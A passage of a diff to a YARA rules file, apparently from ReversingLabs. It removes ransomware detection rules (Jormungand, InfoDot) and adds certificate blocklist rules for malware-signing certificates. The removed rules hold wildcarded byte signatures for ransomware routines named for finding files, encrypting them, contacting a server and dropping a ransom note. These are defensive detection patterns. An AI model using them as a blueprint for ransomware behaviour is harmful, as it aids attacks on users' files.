?? C7 44 24 ?? ?? ?? ?? ?? - E8 ?? ?? ?? ?? 83 C4 ?? C3 E8 ?? ?? ?? ?? E9 - } - $attach_to_server_32 = { - 64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? 31 DB 89 - 5C 24 ?? 89 5C 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 89 CF 83 F9 ?? - 0F 84 ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 89 4C 24 ?? 89 0C 24 83 3C 24 ?? 0F 84 ?? ?? - ?? ?? 8B 5C 24 ?? 89 5C 24 ?? 8B 5C 24 ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 89 - 1C 24 83 3C 24 ?? 0F 84 ?? ?? ?? ?? BB ?? ?? ?? ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 89 1C 24 83 3C 24 ?? 0F 84 ?? ?? ?? ?? BB ?? ?? ?? ?? - 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 89 1C 24 83 3C 24 ?? - 0F 84 ?? ?? ?? ?? 8B 5C 24 ?? 89 5C 24 ?? 8B 5C 24 ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B - 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 31 DB 89 5C 24 ?? 89 5C 24 ?? 31 ED 39 E8 0F 85 - ?? ?? ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 4C 24 ?? 89 0C 24 89 44 24 ?? 89 44 24 - ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 48 ?? 8B 68 - ?? 89 6C 24 ?? 89 6C 24 ?? 89 4C 24 ?? 83 F9 ?? 0F 84 ?? ?? ?? ?? 8D 59 ?? C7 04 24 - ?? ?? ?? ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? C7 04 24 ?? ?? ?? - ?? 8B 44 24 ?? 83 F8 ?? 74 ?? 83 C0 ?? 8D 7C 24 ?? FC 8B 08 89 0F 8B 48 ?? 89 4F ?? - E8 ?? ?? ?? ?? 8D 5C 24 ?? FC 8B 0B 89 0C 24 8B 4B ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B - 54 24 ?? 8B 4C 24 ?? 8B 44 24 ?? C7 04 24 ?? ?? ?? ?? 89 54 24 ?? 89 54 24 ?? 89 4C - 24 ?? 89 4C 24 ?? 89 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 89 5C 24 ?? 8B - 5C 24 ?? 89 5C 24 ?? 90 E8 ?? ?? ?? ?? 83 C4 ?? C3 - } - $get_files_for_encryption_64 = { - 65 48 8B 0C 25 ?? ?? ?? ?? 48 8B 89 ?? ?? ?? ?? 48 3B 61 ?? 0F 86 ?? ?? ?? ?? 48 83 - EC ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? 0F B6 44 24 ?? 84 C0 0F 85 ?? ?? ?? ?? 48 8B 05 - ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 83 F9 ?? 0F 86 ?? ?? ?? ?? 48 8B 48 ?? 48 8B 40 - ?? 48 89 0C 24 48 89 44 24 ?? 48 8B 05 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 83 F9 ?? - 0F 86 ?? ?? ?? ?? 48 8B 48 ?? 48 8B 40 ?? 48 89 4C 24 ?? 48 89 44 24 ?? E8 ?? ?? ?? - ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 89 0D ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 84 C9 0F 85 - ?? ?? ?? ?? 48 89 05 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 04 24 48 8B 44 24 ?? 48 89 44 - 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 04 24 - 48 8B 4C 24 ?? 48 C7 04 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 4C 24 ?? 48 8D 05 ?? ?? - ?? ?? 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B - 4C 24 ?? 48 89 04 24 48 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 6C 24 ?? 48 83 C4 ?? C3 48 - 8D 0D ?? ?? ?? ?? 48 89 0C 24 48 89 44 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 0F 0B 48 8B 44 24 ?? 48 89 04 24 48 8B 44 24 ?? 48 89 44 24 ?? 48 8D 05 ?? ?? - ?? ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? E9 - } - $attach_to_server_64 = { - 65 48 8B 0C 25 ?? ?? ?? ?? 48 8B 89 ?? ?? ?? ?? 48 3B 61 ?? 0F 86 ?? ?? ?? ?? 48 83 - EC ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? - ?? ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 04 24 E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 48 89 - 7C 24 ?? 84 07 0F 57 C0 48 83 C7 ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? E8 ?? ?? ?? ?? 48 - 8B 6D ?? 48 8B 44 24 ?? 48 89 04 24 48 8B 4C 24 ?? 48 89 4C 24 ?? 48 8B 4C 24 ?? 48 - 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 04 24 48 8D 0D ?? ?? ?? ?? 48 89 4C - 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 04 24 48 8D 0D - ?? ?? ?? ?? 48 89 4C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? - 48 89 04 24 48 8B 4C 24 ?? 48 89 4C 24 ?? 48 8B 4C 24 ?? 48 89 4C 24 ?? E8 ?? ?? ?? - ?? 48 8B 44 24 ?? 48 8B 48 ?? 48 8B 10 48 8B 58 ?? 48 8B 40 ?? 48 39 CB 0F 87 ?? ?? - ?? ?? 48 29 D9 48 29 D8 48 85 C0 0F 84 ?? ?? ?? ?? 48 C7 04 24 ?? ?? ?? ?? 48 01 DA - 48 89 54 24 ?? 48 89 4C 24 ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C - 24 ?? 48 89 0C 24 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 44 24 ?? 48 8B - 48 ?? 48 8B 50 ?? 84 01 48 89 54 24 ?? C7 04 24 ?? ?? ?? ?? 48 83 C1 ?? 48 89 4C 24 - ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 04 24 48 8B 44 - 24 ?? 48 8B 48 ?? 48 8B 40 ?? 48 89 4C 24 ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 - 24 ?? 48 8B 4C 24 ?? 48 89 04 24 48 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B - 4C 24 ?? 48 8B 54 24 ?? 48 C7 04 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 4C 24 ?? 48 89 - 54 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 89 44 24 ?? 48 89 8C 24 ?? - ?? ?? ?? 90 E8 ?? ?? ?? ?? 48 8B 6C 24 ?? 48 83 C4 ?? C3 90 E8 ?? ?? ?? ?? 48 8B 6C - 24 ?? 48 83 C4 ?? C3 31 DB E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 0B E8 ?? ?? ?? ?? E9 - } - $encrypt_file_64 = { - 65 48 8B 0C 25 ?? ?? ?? ?? 48 8B 89 ?? ?? ?? ?? 48 3B 61 ?? 0F 86 ?? ?? ?? ?? 48 83 - EC ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? 48 8B 44 24 ?? 48 89 04 24 48 8B 44 24 ?? 48 89 - 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 89 04 24 48 - 89 4C 24 ?? 48 89 54 24 ?? 48 8B 44 24 ?? 48 89 44 24 ?? 48 8B 84 24 ?? ?? ?? ?? 48 - 89 44 24 ?? 48 8B 84 24 ?? ?? ?? ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 - 8B 4C 24 ?? 48 8B 54 24 ?? 48 8B 5C 24 ?? 48 89 1C 24 48 8B 5C 24 ?? 48 89 5C 24 ?? - 48 89 44 24 ?? 48 89 4C 24 ?? 48 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? - 48 8B 6C 24 ?? 48 83 C4 ?? C3 E8 ?? ?? ?? ?? E9 - } - condition: - uint16( 0 ) == 0x5A4D and ( ( $get_files_for_encryption_32 and $encrypt_file_32 and $attach_to_server_32 ) or ( $get_files_for_encryption_64 and $encrypt_file_64 and $attach_to_server_64 ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SG Internet" and pe.signatures [ i ] . serial == "6e:7c:c1:76:06:2d:91:22:5c:fd:cb:df:5b:5f:0e:a5" and 1317945600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Jormungand : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_Cecedd2Efc985C2Dbf0019669D270079 : INFO FILE { meta: - description = "Yara rule that detects Jormungand ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "418c3d9f-2338-593f-a8ec-a1e25afa50d4" - date = "2021-10-22" - modified = "2021-10-22" + id = "60a3e63c-4f44-5c75-9928-69859d77af3e" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Jormungand.yara#L1-L135" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14222-L14240" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "049eb4533b37d8d72e50dd1e803a897758386643770d47b3e7690f58e44d5236" + logic_hash = "1dfb5959db6929643126a850de84e54a84d7197518cde475c802987721b71020" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Jormungand" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $drop_ransom_note = { - 64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 8D 44 24 ?? 3B 41 ?? 0F 86 ?? ?? ?? ?? 81 EC - ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 89 04 24 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 ?? - ?? ?? ?? 89 44 24 ?? 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 - 84 24 ?? ?? ?? ?? 8B 4C 24 ?? 89 4C 24 ?? 8D 54 24 ?? 89 14 24 8B 94 24 ?? ?? ?? ?? - 89 54 24 ?? 8B 94 24 ?? ?? ?? ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? - 8B 54 24 ?? 8B 9C 24 ?? ?? ?? ?? 89 1C 24 8B 9C 24 ?? ?? ?? ?? 89 5C 24 ?? 89 44 24 - ?? 89 4C 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 84 24 ?? ?? ?? ?? 8B 4C 24 - ?? 89 4C 24 ?? 8B 54 24 ?? 89 54 24 ?? C7 04 24 ?? ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? 89 - 5C 24 ?? 8B 9C 24 ?? ?? ?? ?? 89 5C 24 ?? 8D 1D ?? ?? ?? ?? 89 5C 24 ?? C7 44 24 ?? - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 04 24 89 4C 24 ?? C7 44 24 ?? - ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 84 24 ?? ?? ?? ?? - 8D 4C 24 ?? 89 0C 24 8B 8C 24 ?? ?? ?? ?? 89 4C 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8B 4C - 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 44 24 ?? 89 4C 24 ?? 8D - 44 24 ?? 89 04 24 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? - ?? ?? 8B 44 24 ?? 8B 4C 24 ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? 89 4C 24 ?? E8 ?? ?? - ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 9C 24 ?? ?? ?? ?? 89 1C 24 89 44 24 ?? - 89 4C 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? - 81 C4 ?? ?? ?? ?? C3 E8 - } - $encrypt_files_aes = { - 64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? 8B 44 24 - ?? 89 04 24 8B 44 24 ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 - ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 85 D2 74 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 - ?? ?? ?? ?? ?? 89 54 24 ?? 89 5C 24 ?? 83 C4 ?? C3 89 44 24 ?? 89 4C 24 ?? 8B 50 ?? - 89 0C 24 FF D2 8B 44 24 ?? 8B 4C 24 ?? 89 0C 24 8B 4C 24 ?? 89 4C 24 ?? 8B 4C 24 ?? - 89 4C 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 - ?? 8B 54 24 ?? 89 54 24 ?? C7 04 24 ?? ?? ?? ?? 8D 1D ?? ?? ?? ?? 89 5C 24 ?? C7 44 - 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 89 - 1C 24 8B 5C 24 ?? 89 5C 24 ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B - 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8D 15 ?? ?? ?? ?? 89 14 24 8B 54 24 ?? - 89 54 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 - ?? 8B 54 24 ?? 89 54 24 ?? 8B 5C 24 ?? 8B 5B ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? - 8B 6C 24 ?? 89 6C 24 ?? 8B 6C 24 ?? 89 6C 24 ?? 8B 6C 24 ?? 89 6C 24 ?? 8B 6C 24 ?? - 89 2C 24 FF D3 8B 05 ?? ?? ?? ?? 89 04 24 8B 44 24 ?? 89 44 24 ?? 8B 44 24 ?? 89 44 - 24 ?? 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 44 24 ?? 89 - 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 83 C4 ?? C3 E8 - } - $encrypt_files_rsa = { - 64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? C7 04 24 - ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B - 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 89 14 24 89 4C 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B - 44 24 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 48 ?? 8B 50 ?? 8B 40 ?? 89 0C 24 89 54 24 ?? 89 - 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 85 D2 75 ?? - 8D 15 ?? ?? ?? ?? 39 D0 0F 85 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 89 04 - 24 89 54 24 ?? 89 4C 24 ?? 8B 44 24 ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? 8B 44 24 - ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 8B 6C - 24 ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? 89 5C 24 ?? 89 6C 24 ?? 83 C4 ?? C3 C7 44 - 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 89 5C - 24 ?? 83 C4 ?? C3 8D 05 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 44 24 ?? C7 40 ?? ?? - ?? ?? ?? 8B 0D ?? ?? ?? ?? 85 C9 75 ?? 8D 0D ?? ?? ?? ?? 89 08 C7 44 24 ?? ?? ?? ?? - ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 0D ?? ?? ?? ?? 89 4C 24 ?? 89 - 44 24 ?? 83 C4 ?? C3 89 44 24 ?? 89 04 24 8D 0D ?? ?? ?? ?? 89 4C 24 ?? E8 ?? ?? ?? - ?? 8B 44 24 ?? EB ?? 89 04 24 89 54 24 ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? - ?? 0F 0B - } - $find_files = { - 64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? C7 44 24 - ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? - ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 8D 05 ?? ?? - ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 44 24 ?? 89 04 24 8B 44 24 ?? 89 44 - 24 ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 0D ?? ?? ?? - ?? 8B 15 ?? ?? ?? ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? 8B 05 ?? ?? ?? ?? 8B 0D ?? - ?? ?? ?? 8B 15 ?? ?? ?? ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? 90 E8 ?? ?? ?? ?? 83 - C4 ?? C3 90 E8 ?? ?? ?? ?? 83 C4 ?? C3 E8 - } - $remote_connection_p1 = { - 64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? C7 04 24 - ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D - 05 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? C7 40 ?? ?? ?? ?? ?? - 8D 0D ?? ?? ?? ?? 89 0C 24 E8 ?? ?? ?? ?? 8B 44 24 ?? C6 40 ?? ?? 8B 0D ?? ?? ?? ?? - 8B 54 24 ?? 8D 5A ?? 85 C9 0F 85 ?? ?? ?? ?? 89 42 ?? 8D 05 ?? ?? ?? ?? 89 04 24 E8 - ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8D 0D - ?? ?? ?? ?? 89 08 8B 0D ?? ?? ?? ?? 8D 50 ?? 85 C9 0F 85 ?? ?? ?? ?? 8B 4C 24 ?? 89 - 48 ?? C7 04 24 ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B - 44 24 ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 - ?? ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 - 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8D 15 ?? ?? ?? ?? 89 14 24 E8 ?? ?? ?? ?? - 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 48 ?? 8B 0D ?? ?? ?? ?? 85 C9 0F 85 ?? ?? ?? - ?? 8B 4C 24 ?? 89 08 C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C7 40 - } - $remote_connection_p2 = { - C7 04 24 ?? ?? ?? ?? 8D 0D ?? ?? ?? ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 4C 24 - ?? 89 4C 24 ?? 8B 4C 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 4C - 24 ?? 89 44 24 ?? 8D 05 ?? ?? ?? ?? 89 04 24 C7 44 24 ?? ?? ?? ?? ?? 8D 05 ?? ?? ?? - ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C - 24 ?? 8B 54 24 ?? 89 0C 24 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 8B 44 24 - ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 89 0C - 24 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 75 ?? 90 E8 ?? ?? ?? ?? 83 C4 ?? C3 - 8B 48 ?? 84 01 8B 40 ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? 8D 41 ?? 89 44 24 ?? E8 ?? - ?? ?? ?? 85 C0 75 ?? EB ?? 90 E8 ?? ?? ?? ?? 83 C4 ?? C3 89 04 24 8B 4C 24 ?? 89 4C - 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? E9 ?? ?? ?? ?? 89 14 24 8B 44 24 ?? 89 44 24 ?? E8 - ?? ?? ?? ?? E9 ?? ?? ?? ?? 89 1C 24 89 44 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 90 E8 - ?? ?? ?? ?? 83 C4 ?? C3 E8 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_* ) ) and ( all of ( $remote_connection_p* ) ) and ( $drop_ransom_note ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TRANS LTD" and ( pe.signatures [ i ] . serial == "00:ce:ce:dd:2e:fc:98:5c:2d:bf:00:19:66:9d:27:00:79" or pe.signatures [ i ] . serial == "ce:ce:dd:2e:fc:98:5c:2d:bf:00:19:66:9d:27:00:79" ) and 1527811200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Infodot : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_61Fe6F00Bd79684210534050Ff46Bc92 : INFO FILE { meta: - description = "Yara rule that detects InfoDot ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2f6447f4-523b-5ea1-a16d-d68bb9bcc79d" - date = "2021-02-16" - modified = "2021-02-16" + id = "b88e0bbf-ab3a-51ac-8542-d4f92116f5e9" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.InfoDot.yara#L1-L115" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14242-L14258" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "24a1c25c1d70c21323417ae0892c613361c4bfc829737ef86b6fa7616ae668c6" + logic_hash = "e8ebc5de081e2d1e653493a2d85699ebfb5227b7fab656468025c2043903f597" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "InfoDot" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B FA 8B D9 89 9D ?? ?? ?? ?? - 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 53 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - 50 8D 85 ?? ?? ?? ?? 50 FF D3 8B F0 83 FE ?? 0F 84 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? EB - ?? 8D 49 ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 - ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 - ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? - ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 - ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 - C0 74 ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B FF 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 - ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 - 83 C8 ?? 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 53 8D 85 ?? ?? ?? ?? 50 FF 15 - } - $find_files_p2 = { - 8B D7 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 - C0 0F 85 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 57 8B 3D ?? ?? ?? ?? 56 50 FF D7 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? - 50 FF D3 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D 9B ?? ?? ?? ?? F6 85 ?? ?? - ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? - ?? 50 56 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? 